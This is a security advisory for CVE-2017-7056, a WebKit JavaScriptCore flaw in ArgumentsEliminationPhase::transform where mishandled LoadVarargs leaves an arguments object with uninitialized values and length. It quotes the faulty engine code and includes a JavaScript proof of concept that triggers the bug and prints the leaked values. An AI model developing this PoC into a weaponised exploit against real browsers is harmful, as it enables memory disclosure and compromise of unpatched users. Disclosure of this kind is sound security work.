WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling

Published
Credit
Risk
2017.07.25
lokihardt
High
CWE
CVE
Local
Remote
N/A
CVE-2017-7056
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

WebKit: JSC: Incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform

CVE-2017-7056


Here is a snippet of ArgumentsEliminationPhase::transform
case LoadVarargs:
...
if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
...
if (argumentCountIncludingThis <= varargsData->limit) {
storeArgumentCountIncludingThis(argumentCountIncludingThis);
// store arguments
...
}

node->remove();
node->origin.exitOK = canExit;
break;
}

Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.

PoC:
const kArgsLength = 0x101;

let buggy = null;
function inlineFunc() {
if (arguments.length != kArgsLength) {
buggy = arguments;
}
}

class ClassForInine extends inlineFunc {
}

function sleep(ms) {
let start = new Date();
while (new Date() - start < ms);
}

function main() {
let args = new Array(kArgsLength);
args.fill(333 + 1);
args = args.join(', ');

let opt = new Function(`(() => {
new ClassForInine(${args});
})();`);

for (let i = 0; i < 0x100000; i++) {
opt();

if (i === 0x3000)
sleep(1000);

if (buggy) {
print('buggy.length: ' + buggy.length);
break;
}
}

for (let i = 0, n = buggy.length; i < n; i++) {
print(buggy[i]);
}
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


See this note in RAW Version

 
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